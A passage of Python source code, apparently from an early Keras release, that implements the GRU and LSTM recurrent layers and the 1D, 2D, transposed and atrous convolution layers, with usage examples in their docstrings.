            x_h = time_distributed_dense(x, self.W_h, self.b_h, self.dropout_W,
                                         input_dim, self.output_dim, timesteps)
            return K.concatenate([x_z, x_r, x_h], axis=2)
        else:
            return x

    def step(self, x, states):
        h_tm1 = states[0]  # previous memory
        B_U = states[1]  # dropout matrices for recurrent units
        B_W = states[2]

        if self.consume_less == 'gpu':

            matrix_x = K.dot(x * B_W[0], self.W) + self.b
            matrix_inner = K.dot(h_tm1 * B_U[0], self.U[:, :2 * self.output_dim])

            x_z = matrix_x[:, :self.output_dim]
            x_r = matrix_x[:, self.output_dim: 2 * self.output_dim]
            inner_z = matrix_inner[:, :self.output_dim]
            inner_r = matrix_inner[:, self.output_dim: 2 * self.output_dim]

            z = self.inner_activation(x_z + inner_z)
            r = self.inner_activation(x_r + inner_r)

            x_h = matrix_x[:, 2 * self.output_dim:]
            inner_h = K.dot(r * h_tm1 * B_U[0], self.U[:, 2 * self.output_dim:])
            hh = self.activation(x_h + inner_h)
        else:
            if self.consume_less == 'cpu':
                x_z = x[:, :self.output_dim]
                x_r = x[:, self.output_dim: 2 * self.output_dim]
                x_h = x[:, 2 * self.output_dim:]
            elif self.consume_less == 'mem':
                x_z = K.dot(x * B_W[0], self.W_z) + self.b_z
                x_r = K.dot(x * B_W[1], self.W_r) + self.b_r
                x_h = K.dot(x * B_W[2], self.W_h) + self.b_h
            else:
                raise Exception('Unknown `consume_less` mode.')
            z = self.inner_activation(x_z + K.dot(h_tm1 * B_U[0], self.U_z))
            r = self.inner_activation(x_r + K.dot(h_tm1 * B_U[1], self.U_r))

            hh = self.activation(x_h + K.dot(r * h_tm1 * B_U[2], self.U_h))
        h = z * h_tm1 + (1 - z) * hh
        return h, [h]

    def get_constants(self, x):
        constants = []
        if 0 < self.dropout_U < 1:
            ones = K.ones_like(K.reshape(x[:, 0, 0], (-1, 1)))
            ones = K.concatenate([ones] * self.output_dim, 1)
            B_U = [K.in_train_phase(K.dropout(ones, self.dropout_U), ones) for _ in range(3)]
            constants.append(B_U)
        else:
            constants.append([K.cast_to_floatx(1.) for _ in range(3)])

        if 0 < self.dropout_W < 1:
            input_shape = self.input_spec[0].shape
            input_dim = input_shape[-1]
            ones = K.ones_like(K.reshape(x[:, 0, 0], (-1, 1)))
            ones = K.concatenate([ones] * input_dim, 1)
            B_W = [K.in_train_phase(K.dropout(ones, self.dropout_W), ones) for _ in range(3)]
            constants.append(B_W)
        else:
            constants.append([K.cast_to_floatx(1.) for _ in range(3)])
        return constants

    def get_config(self):
        config = {'output_dim': self.output_dim,
                  'init': self.init.__name__,
                  'inner_init': self.inner_init.__name__,
                  'activation': self.activation.__name__,
                  'inner_activation': self.inner_activation.__name__,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'U_regularizer': self.U_regularizer.get_config() if self.U_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'dropout_W': self.dropout_W,
                  'dropout_U': self.dropout_U}
        base_config = super(GRU, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class LSTM(Recurrent):
    '''Long-Short Term Memory unit - Hochreiter 1997.

    For a step-by-step description of the algorithm, see
    [this tutorial](http://deeplearning.net/tutorial/lstm.html).

    # Arguments
        output_dim: dimension of the internal projections and the final output.
        init: weight initialization function.
            Can be the name of an existing function (str),
            or a Theano function (see: [initializations](../initializations.md)).
        inner_init: initialization function of the inner cells.
        forget_bias_init: initialization function for the bias of the forget gate.
            [Jozefowicz et al.](http://www.jmlr.org/proceedings/papers/v37/jozefowicz15.pdf)
            recommend initializing with ones.
        activation: activation function.
            Can be the name of an existing function (str),
            or a Theano function (see: [activations](../activations.md)).
        inner_activation: activation function for the inner cells.
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the input weights matrices.
        U_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the recurrent weights matrices.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        dropout_W: float between 0 and 1. Fraction of the input units to drop for input gates.
        dropout_U: float between 0 and 1. Fraction of the input units to drop for recurrent connections.

    # References
        - [Long short-term memory](http://deeplearning.cs.cmu.edu/pdfs/Hochreiter97_lstm.pdf) (original 1997 paper)
        - [Learning to forget: Continual prediction with LSTM](http://www.mitpressjournals.org/doi/pdf/10.1162/089976600300015015)
        - [Supervised sequence labelling with recurrent neural networks](http://www.cs.toronto.edu/~graves/preprint.pdf)
        - [A Theoretically Grounded Application of Dropout in Recurrent Neural Networks](http://arxiv.org/abs/1512.05287)
    '''
    def __init__(self, output_dim,
                 init='glorot_uniform', inner_init='orthogonal',
                 forget_bias_init='one', activation='tanh',
                 inner_activation='hard_sigmoid',
                 W_regularizer=None, U_regularizer=None, b_regularizer=None,
                 dropout_W=0., dropout_U=0., **kwargs):
        self.output_dim = output_dim
        self.init = initializations.get(init)
        self.inner_init = initializations.get(inner_init)
        self.forget_bias_init = initializations.get(forget_bias_init)
        self.activation = activations.get(activation)
        self.inner_activation = activations.get(inner_activation)
        self.W_regularizer = regularizers.get(W_regularizer)
        self.U_regularizer = regularizers.get(U_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.dropout_W, self.dropout_U = dropout_W, dropout_U

        if self.dropout_W or self.dropout_U:
            self.uses_learning_phase = True
        super(LSTM, self).__init__(**kwargs)

    def build(self, input_shape):
        self.input_spec = [InputSpec(shape=input_shape)]
        self.input_dim = input_shape[2]

        if self.stateful:
            self.reset_states()
        else:
            # initial states: 2 all-zero tensors of shape (output_dim)
            self.states = [None, None]

        if self.consume_less == 'gpu':
            self.W = self.init((self.input_dim, 4 * self.output_dim),
                               name='{}_W'.format(self.name))
            self.U = self.inner_init((self.output_dim, 4 * self.output_dim),
                                     name='{}_U'.format(self.name))

            self.b = K.variable(np.hstack((np.zeros(self.output_dim),
                                           K.get_value(self.forget_bias_init((self.output_dim,))),
                                           np.zeros(self.output_dim),
                                           np.zeros(self.output_dim))),
                                name='{}_b'.format(self.name))
            self.trainable_weights = [self.W, self.U, self.b]
        else:
            self.W_i = self.init((self.input_dim, self.output_dim),
                                 name='{}_W_i'.format(self.name))
            self.U_i = self.inner_init((self.output_dim, self.output_dim),
                                       name='{}_U_i'.format(self.name))
            self.b_i = K.zeros((self.output_dim,), name='{}_b_i'.format(self.name))

            self.W_f = self.init((self.input_dim, self.output_dim),
                                 name='{}_W_f'.format(self.name))
            self.U_f = self.inner_init((self.output_dim, self.output_dim),
                                       name='{}_U_f'.format(self.name))
            self.b_f = self.forget_bias_init((self.output_dim,),
                                             name='{}_b_f'.format(self.name))

            self.W_c = self.init((self.input_dim, self.output_dim),
                                 name='{}_W_c'.format(self.name))
            self.U_c = self.inner_init((self.output_dim, self.output_dim),
                                       name='{}_U_c'.format(self.name))
            self.b_c = K.zeros((self.output_dim,), name='{}_b_c'.format(self.name))

            self.W_o = self.init((self.input_dim, self.output_dim),
                                 name='{}_W_o'.format(self.name))
            self.U_o = self.inner_init((self.output_dim, self.output_dim),
                                       name='{}_U_o'.format(self.name))
            self.b_o = K.zeros((self.output_dim,), name='{}_b_o'.format(self.name))

            self.trainable_weights = [self.W_i, self.U_i, self.b_i,
                                      self.W_c, self.U_c, self.b_c,
                                      self.W_f, self.U_f, self.b_f,
                                      self.W_o, self.U_o, self.b_o]

            self.W = K.concatenate([self.W_i, self.W_f, self.W_c, self.W_o])
            self.U = K.concatenate([self.U_i, self.U_f, self.U_c, self.U_o])
            self.b = K.concatenate([self.b_i, self.b_f, self.b_c, self.b_o])

        self.regularizers = []
        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)
        if self.U_regularizer:
            self.U_regularizer.set_param(self.U)
            self.regularizers.append(self.U_regularizer)
        if self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def reset_states(self):
        assert self.stateful, 'Layer must be stateful.'
        input_shape = self.input_spec[0].shape
        if not input_shape[0]:
            raise Exception('If a RNN is stateful, a complete ' +
                            'input_shape must be provided (including batch size).')
        if hasattr(self, 'states'):
            K.set_value(self.states[0],
                        np.zeros((input_shape[0], self.output_dim)))
            K.set_value(self.states[1],
                        np.zeros((input_shape[0], self.output_dim)))
        else:
            self.states = [K.zeros((input_shape[0], self.output_dim)),
                           K.zeros((input_shape[0], self.output_dim))]

    def preprocess_input(self, x):
        if self.consume_less == 'cpu':
            if 0 < self.dropout_W < 1:
                dropout = self.dropout_W
            else:
                dropout = 0
            input_shape = self.input_spec[0].shape
            input_dim = input_shape[2]
            timesteps = input_shape[1]

            x_i = time_distributed_dense(x, self.W_i, self.b_i, dropout,
                                         input_dim, self.output_dim, timesteps)
            x_f = time_distributed_dense(x, self.W_f, self.b_f, dropout,
                                         input_dim, self.output_dim, timesteps)
            x_c = time_distributed_dense(x, self.W_c, self.b_c, dropout,
                                         input_dim, self.output_dim, timesteps)
            x_o = time_distributed_dense(x, self.W_o, self.b_o, dropout,
                                         input_dim, self.output_dim, timesteps)
            return K.concatenate([x_i, x_f, x_c, x_o], axis=2)
        else:
            return x

    def step(self, x, states):
        h_tm1 = states[0]
        c_tm1 = states[1]
        B_U = states[2]
        B_W = states[3]

        if self.consume_less == 'gpu':
            z = K.dot(x * B_W[0], self.W) + K.dot(h_tm1 * B_U[0], self.U) + self.b

            z0 = z[:, :self.output_dim]
            z1 = z[:, self.output_dim: 2 * self.output_dim]
            z2 = z[:, 2 * self.output_dim: 3 * self.output_dim]
            z3 = z[:, 3 * self.output_dim:]

            i = self.inner_activation(z0)
            f = self.inner_activation(z1)
            c = f * c_tm1 + i * self.activation(z2)
            o = self.inner_activation(z3)
        else:
            if self.consume_less == 'cpu':
                x_i = x[:, :self.output_dim]
                x_f = x[:, self.output_dim: 2 * self.output_dim]
                x_c = x[:, 2 * self.output_dim: 3 * self.output_dim]
                x_o = x[:, 3 * self.output_dim:]
            elif self.consume_less == 'mem':
                x_i = K.dot(x * B_W[0], self.W_i) + self.b_i
                x_f = K.dot(x * B_W[1], self.W_f) + self.b_f
                x_c = K.dot(x * B_W[2], self.W_c) + self.b_c
                x_o = K.dot(x * B_W[3], self.W_o) + self.b_o
            else:
                raise Exception('Unknown `consume_less` mode.')

            i = self.inner_activation(x_i + K.dot(h_tm1 * B_U[0], self.U_i))
            f = self.inner_activation(x_f + K.dot(h_tm1 * B_U[1], self.U_f))
            c = f * c_tm1 + i * self.activation(x_c + K.dot(h_tm1 * B_U[2], self.U_c))
            o = self.inner_activation(x_o + K.dot(h_tm1 * B_U[3], self.U_o))

        h = o * self.activation(c)
        return h, [h, c]

    def get_constants(self, x):
        constants = []
        if 0 < self.dropout_U < 1:
            ones = K.ones_like(K.reshape(x[:, 0, 0], (-1, 1)))
            ones = K.concatenate([ones] * self.output_dim, 1)
            B_U = [K.in_train_phase(K.dropout(ones, self.dropout_U), ones) for _ in range(4)]
            constants.append(B_U)
        else:
            constants.append([K.cast_to_floatx(1.) for _ in range(4)])

        if 0 < self.dropout_W < 1:
            input_shape = self.input_spec[0].shape
            input_dim = input_shape[-1]
            ones = K.ones_like(K.reshape(x[:, 0, 0], (-1, 1)))
            ones = K.concatenate([ones] * input_dim, 1)
            B_W = [K.in_train_phase(K.dropout(ones, self.dropout_W), ones) for _ in range(4)]
            constants.append(B_W)
        else:
            constants.append([K.cast_to_floatx(1.) for _ in range(4)])
        return constants

    def get_config(self):
        config = {'output_dim': self.output_dim,
                  'init': self.init.__name__,
                  'inner_init': self.inner_init.__name__,
                  'forget_bias_init': self.forget_bias_init.__name__,
                  'activation': self.activation.__name__,
                  'inner_activation': self.inner_activation.__name__,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'U_regularizer': self.U_regularizer.get_config() if self.U_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'dropout_W': self.dropout_W,
                  'dropout_U': self.dropout_U}
        base_config = super(LSTM, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))






# -*- coding: utf-8 -*-
from __future__ import absolute_import

from .. import backend as K
from .. import activations, initializations, regularizers, constraints
from ..engine import Layer, InputSpec
from ..utils.np_utils import conv_output_length, conv_input_length

# imports for backwards namespace compatibility
from .pooling import AveragePooling1D, AveragePooling2D, AveragePooling3D
from .pooling import MaxPooling1D, MaxPooling2D, MaxPooling3D


class Convolution1D(Layer):
    '''Convolution operator for filtering neighborhoods of one-dimensional inputs.
    When using this layer as the first layer in a model,
    either provide the keyword argument `input_dim`
    (int, e.g. 128 for sequences of 128-dimensional vectors),
    or `input_shape` (tuple of integers, e.g. (10, 128) for sequences
    of 10 vectors of 128-dimensional vectors).

    # Example

    ```python
        # apply a convolution 1d of length 3 to a sequence with 10 timesteps,
        # with 64 output filters
        model = Sequential()
        model.add(Convolution1D(64, 3, border_mode='same', input_shape=(10, 32)))
        # now model.output_shape == (None, 10, 64)

        # add a new conv1d on top
        model.add(Convolution1D(32, 3, border_mode='same'))
        # now model.output_shape == (None, 10, 32)
    ```

    # Arguments
        nb_filter: Number of convolution kernels to use
            (dimensionality of the output).
        filter_length: The extension (spatial or temporal) of each filter.
        init: name of initialization function for the weights of the layer
            (see [initializations](../initializations.md)),
            or alternatively, Theano function to use for weights initialization.
            This parameter is only relevant if you don't pass a `weights` argument.
        activation: name of activation function to use
            (see [activations](../activations.md)),
            or alternatively, elementwise Theano function.
            If you don't specify anything, no activation is applied
            (ie. "linear" activation: a(x) = x).
        weights: list of numpy arrays to set as initial weights.
        border_mode: 'valid' or 'same'.
        subsample_length: factor by which to subsample output.
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the main weights matrix.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
            applied to the network output.
        W_constraint: instance of the [constraints](../constraints.md) module
            (eg. maxnorm, nonneg), applied to the main weights matrix.
        b_constraint: instance of the [constraints](../constraints.md) module,
            applied to the bias.
        bias: whether to include a bias
            (i.e. make the layer affine rather than linear).
        input_dim: Number of channels/dimensions in the input.
            Either this argument or the keyword argument `input_shape`must be
            provided when using this layer as the first layer in a model.
        input_length: Length of input sequences, when it is constant.
            This argument is required if you are going to connect
            `Flatten` then `Dense` layers upstream
            (without it, the shape of the dense outputs cannot be computed).

    # Input shape
        3D tensor with shape: `(samples, steps, input_dim)`.

    # Output shape
        3D tensor with shape: `(samples, new_steps, nb_filter)`.
        `steps` value might have changed due to padding.
    '''
    def __init__(self, nb_filter, filter_length,
                 init='uniform', activation='linear', weights=None,
                 border_mode='valid', subsample_length=1,
                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
                 W_constraint=None, b_constraint=None,
                 bias=True, input_dim=None, input_length=None, **kwargs):

        if border_mode not in {'valid', 'same'}:
            raise Exception('Invalid border mode for Convolution1D:', border_mode)
        self.nb_filter = nb_filter
        self.filter_length = filter_length
        self.init = initializations.get(init, dim_ordering='th')
        self.activation = activations.get(activation)
        assert border_mode in {'valid', 'same'}, 'border_mode must be in {valid, same}'
        self.border_mode = border_mode
        self.subsample_length = subsample_length

        self.subsample = (subsample_length, 1)

        self.W_regularizer = regularizers.get(W_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.activity_regularizer = regularizers.get(activity_regularizer)

        self.W_constraint = constraints.get(W_constraint)
        self.b_constraint = constraints.get(b_constraint)

        self.bias = bias
        self.input_spec = [InputSpec(ndim=3)]
        self.initial_weights = weights
        self.input_dim = input_dim
        self.input_length = input_length
        if self.input_dim:
            kwargs['input_shape'] = (self.input_length, self.input_dim)
        super(Convolution1D, self).__init__(**kwargs)

    def build(self, input_shape):
        input_dim = input_shape[2]
        self.W_shape = (self.nb_filter, input_dim, self.filter_length, 1)
        self.W = self.init(self.W_shape, name='{}_W'.format(self.name))
        if self.bias:
            self.b = K.zeros((self.nb_filter,), name='{}_b'.format(self.name))
            self.trainable_weights = [self.W, self.b]
        else:
            self.trainable_weights = [self.W]
        self.regularizers = []

        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)

        if self.bias and self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)

        if self.activity_regularizer:
            self.activity_regularizer.set_layer(self)
            self.regularizers.append(self.activity_regularizer)

        self.constraints = {}
        if self.W_constraint:
            self.constraints[self.W] = self.W_constraint
        if self.bias and self.b_constraint:
            self.constraints[self.b] = self.b_constraint

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def get_output_shape_for(self, input_shape):
        length = conv_output_length(input_shape[1],
                                    self.filter_length,
                                    self.border_mode,
                                    self.subsample[0])
        return (input_shape[0], length, self.nb_filter)

    def call(self, x, mask=None):
        x = K.expand_dims(x, -1)  # add a dimension of the right
        x = K.permute_dimensions(x, (0, 2, 1, 3))
        output = K.conv2d(x, self.W, strides=self.subsample,
                          border_mode=self.border_mode,
                          dim_ordering='th')
        if self.bias:
            output += K.reshape(self.b, (1, self.nb_filter, 1, 1))
        output = K.squeeze(output, 3)  # remove the dummy 3rd dimension
        output = K.permute_dimensions(output, (0, 2, 1))
        output = self.activation(output)
        return output

    def get_config(self):
        config = {'nb_filter': self.nb_filter,
                  'filter_length': self.filter_length,
                  'init': self.init.__name__,
                  'activation': self.activation.__name__,
                  'border_mode': self.border_mode,
                  'subsample_length': self.subsample_length,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
                  'W_constraint': self.W_constraint.get_config() if self.W_constraint else None,
                  'b_constraint': self.b_constraint.get_config() if self.b_constraint else None,
                  'bias': self.bias,
                  'input_dim': self.input_dim,
                  'input_length': self.input_length}
        base_config = super(Convolution1D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Convolution2D(Layer):
    '''Convolution operator for filtering windows of two-dimensional inputs.
    When using this layer as the first layer in a model,
    provide the keyword argument `input_shape`
    (tuple of integers, does not include the sample axis),
    e.g. `input_shape=(3, 128, 128)` for 128x128 RGB pictures.

    # Examples

    ```python
        # apply a 3x3 convolution with 64 output filters on a 256x256 image:
        model = Sequential()
        model.add(Convolution2D(64, 3, 3, border_mode='same', input_shape=(3, 256, 256)))
        # now model.output_shape == (None, 64, 256, 256)

        # add a 3x3 convolution on top, with 32 output filters:
        model.add(Convolution2D(32, 3, 3, border_mode='same'))
        # now model.output_shape == (None, 32, 256, 256)
    ```

    # Arguments
        nb_filter: Number of convolution filters to use.
        nb_row: Number of rows in the convolution kernel.
        nb_col: Number of columns in the convolution kernel.
        init: name of initialization function for the weights of the layer
            (see [initializations](../initializations.md)), or alternatively,
            Theano function to use for weights initialization.
            This parameter is only relevant if you don't pass
            a `weights` argument.
        activation: name of activation function to use
            (see [activations](../activations.md)),
            or alternatively, elementwise Theano function.
            If you don't specify anything, no activation is applied
            (ie. "linear" activation: a(x) = x).
        weights: list of numpy arrays to set as initial weights.
        border_mode: 'valid' or 'same'.
        subsample: tuple of length 2. Factor by which to subsample output.
            Also called strides elsewhere.
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the main weights matrix.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
            applied to the network output.
        W_constraint: instance of the [constraints](../constraints.md) module
            (eg. maxnorm, nonneg), applied to the main weights matrix.
        b_constraint: instance of the [constraints](../constraints.md) module,
            applied to the bias.
        dim_ordering: 'th' or 'tf'. In 'th' mode, the channels dimension
            (the depth) is at index 1, in 'tf' mode is it at index 3.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".
        bias: whether to include a bias
            (i.e. make the layer affine rather than linear).

    # Input shape
        4D tensor with shape:
        `(samples, channels, rows, cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, rows, cols, channels)` if dim_ordering='tf'.

    # Output shape
        4D tensor with shape:
        `(samples, nb_filter, new_rows, new_cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, new_rows, new_cols, nb_filter)` if dim_ordering='tf'.
        `rows` and `cols` values might have changed due to padding.
    '''
    def __init__(self, nb_filter, nb_row, nb_col,
                 init='glorot_uniform', activation='linear', weights=None,
                 border_mode='valid', subsample=(1, 1), dim_ordering='default',
                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
                 W_constraint=None, b_constraint=None,
                 bias=True, **kwargs):
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        if border_mode not in {'valid', 'same'}:
            raise Exception('Invalid border mode for Convolution2D:', border_mode)
        self.nb_filter = nb_filter
        self.nb_row = nb_row
        self.nb_col = nb_col
        self.init = initializations.get(init, dim_ordering=dim_ordering)
        self.activation = activations.get(activation)
        assert border_mode in {'valid', 'same'}, 'border_mode must be in {valid, same}'
        self.border_mode = border_mode
        self.subsample = tuple(subsample)
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering

        self.W_regularizer = regularizers.get(W_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.activity_regularizer = regularizers.get(activity_regularizer)

        self.W_constraint = constraints.get(W_constraint)
        self.b_constraint = constraints.get(b_constraint)

        self.bias = bias
        self.input_spec = [InputSpec(ndim=4)]
        self.initial_weights = weights
        super(Convolution2D, self).__init__(**kwargs)

    def build(self, input_shape):
        if self.dim_ordering == 'th':
            stack_size = input_shape[1]
            self.W_shape = (self.nb_filter, stack_size, self.nb_row, self.nb_col)
        elif self.dim_ordering == 'tf':
            stack_size = input_shape[3]
            self.W_shape = (self.nb_row, self.nb_col, stack_size, self.nb_filter)
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
        self.W = self.init(self.W_shape, name='{}_W'.format(self.name))
        if self.bias:
            self.b = K.zeros((self.nb_filter,), name='{}_b'.format(self.name))
            self.trainable_weights = [self.W, self.b]
        else:
            self.trainable_weights = [self.W]
        self.regularizers = []

        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)

        if self.bias and self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)

        if self.activity_regularizer:
            self.activity_regularizer.set_layer(self)
            self.regularizers.append(self.activity_regularizer)

        self.constraints = {}
        if self.W_constraint:
            self.constraints[self.W] = self.W_constraint
        if self.bias and self.b_constraint:
            self.constraints[self.b] = self.b_constraint

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            rows = input_shape[2]
            cols = input_shape[3]
        elif self.dim_ordering == 'tf':
            rows = input_shape[1]
            cols = input_shape[2]
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

        rows = conv_output_length(rows, self.nb_row,
                                  self.border_mode, self.subsample[0])
        cols = conv_output_length(cols, self.nb_col,
                                  self.border_mode, self.subsample[1])

        if self.dim_ordering == 'th':
            return (input_shape[0], self.nb_filter, rows, cols)
        elif self.dim_ordering == 'tf':
            return (input_shape[0], rows, cols, self.nb_filter)
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def call(self, x, mask=None):
        output = K.conv2d(x, self.W, strides=self.subsample,
                          border_mode=self.border_mode,
                          dim_ordering=self.dim_ordering,
                          filter_shape=self.W_shape)
        if self.bias:
            if self.dim_ordering == 'th':
                output += K.reshape(self.b, (1, self.nb_filter, 1, 1))
            elif self.dim_ordering == 'tf':
                output += K.reshape(self.b, (1, 1, 1, self.nb_filter))
            else:
                raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
        output = self.activation(output)
        return output

    def get_config(self):
        config = {'nb_filter': self.nb_filter,
                  'nb_row': self.nb_row,
                  'nb_col': self.nb_col,
                  'init': self.init.__name__,
                  'activation': self.activation.__name__,
                  'border_mode': self.border_mode,
                  'subsample': self.subsample,
                  'dim_ordering': self.dim_ordering,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
                  'W_constraint': self.W_constraint.get_config() if self.W_constraint else None,
                  'b_constraint': self.b_constraint.get_config() if self.b_constraint else None,
                  'bias': self.bias}
        base_config = super(Convolution2D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Deconvolution2D(Convolution2D):
    '''Transposed convolution operator for filtering windows of two-dimensional inputs.
    When using this layer as the first layer in a model,
    provide the keyword argument `input_shape`
    (tuple of integers, does not include the sample axis),
    e.g. `input_shape=(3, 128, 128)` for 128x128 RGB pictures.
    '''
    def __init__(self, nb_filter, nb_row, nb_col, output_shape,
                 init='glorot_uniform', activation='linear', weights=None,
                 border_mode='valid', subsample=(1, 1),
                 dim_ordering=K.image_dim_ordering(),
                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
                 W_constraint=None, b_constraint=None,
                 bias=True, **kwargs):

        if border_mode not in {'valid', 'same'}:
            raise Exception('Invalid border mode for AtrousConv2D:', border_mode)

        self.output_shape_ = output_shape

        super(Deconvolution2D, self).__init__(nb_filter, nb_row, nb_col,
                                              init=init, activation=activation,
                                              weights=weights, border_mode=border_mode,
                                              subsample=subsample, dim_ordering=dim_ordering,
                                              W_regularizer=W_regularizer, b_regularizer=b_regularizer,
                                              activity_regularizer=activity_regularizer,
                                              W_constraint=W_constraint, b_constraint=b_constraint,
                                              bias=bias, **kwargs)

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            rows = input_shape[2]
            cols = input_shape[3]
        elif self.dim_ordering == 'tf':
            rows = input_shape[1]
            cols = input_shape[2]
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

        rows = conv_input_length(rows, self.nb_row,
                                 self.border_mode, self.subsample[0])
        cols = conv_input_length(cols, self.nb_col,
                                 self.border_mode, self.subsample[1])

        if self.dim_ordering == 'th':
            return (input_shape[0], self.nb_filter, rows, cols)
        elif self.dim_ordering == 'tf':
            return (input_shape[0], rows, cols, self.nb_filter)
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def call(self, x, mask=None):
        output = K.deconv2d(x, self.W, self.output_shape_, 
                            strides=self.subsample,
                            border_mode=self.border_mode,
                            dim_ordering=self.dim_ordering,
                            filter_shape=self.W_shape)
        if self.bias:
            if self.dim_ordering == 'th':
                output += K.reshape(self.b, (1, self.nb_filter, 1, 1))
            elif self.dim_ordering == 'tf':
                output += K.reshape(self.b, (1, 1, 1, self.nb_filter))
            else:
                raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
        output = self.activation(output)
        return output

    def get_config(self):
        config = {'output_shape': self.output_shape}
        base_config = super(Deconvolution2D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class AtrousConvolution2D(Convolution2D):
    '''Atrous Convolution operator for filtering windows of two-dimensional inputs.
    A.k.a dilated convolution or convolution with holes.
    When using this layer as the first layer in a model,
    provide the keyword argument `input_shape`
    (tuple of integers, does not include the sample axis),
    e.g. `input_shape=(3, 128, 128)` for 128x128 RGB pictures.

    # Examples

    ```python
        # apply a 3x3 convolution with atrous rate 2x2 and 64 output filters on a 256x256 image:
        model = Sequential()
        model.add(AtrousConvolution2D(64, 3, 3, atrous_rate=(2,2), border_mode='valid', input_shape=(3, 256, 256)))
        # now the actual kernel size is dilated from 3x3 to 5x5 (3+(3-1)*(2-1)=5)
        # thus model.output_shape == (None, 64, 252, 252)
    ```

    # Arguments
        nb_filter: Number of convolution filters to use.
        nb_row: Number of rows in the convolution kernel.
        nb_col: Number of columns in the convolution kernel.
        init: name of initialization function for the weights of the layer
            (see [initializations](../initializations.md)), or alternatively,
            Theano function to use for weights initialization.
            This parameter is only relevant if you don't pass
            a `weights` argument.
        activation: name of activation function to use
            (see [activations](../activations.md)),
            or alternatively, elementwise Theano function.
            If you don't specify anything, no activation is applied
            (ie. "linear" activation: a(x) = x).
        weights: list of numpy arrays to set as initial weights.
        border_mode: 'valid' or 'same'.
        subsample: tuple of length 2. Factor by which to subsample output.
            Also called strides elsewhere.
        atrous_rate: tuple of length 2. Factor for kernel dilation.
            Also called filter_dilation elsewhere.
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the main weights matrix.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
            applied to the network output.
        W_constraint: instance of the [constraints](../constraints.md) module
            (eg. maxnorm, nonneg), applied to the main weights matrix.
        b_constraint: instance of the [constraints](../constraints.md) module,
            applied to the bias.
        dim_ordering: 'th' or 'tf'. In 'th' mode, the channels dimension
            (the depth) is at index 1, in 'tf' mode is it at index 3.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".
        bias: whether to include a bias (i.e. make the layer affine rather than linear).

    # Input shape
        4D tensor with shape:
        `(samples, channels, rows, cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, rows, cols, channels)` if dim_ordering='tf'.

    # Output shape
        4D tensor with shape:
        `(samples, nb_filter, new_rows, new_cols)` if dim_ordering='th'
        or 4D tensor with shape:
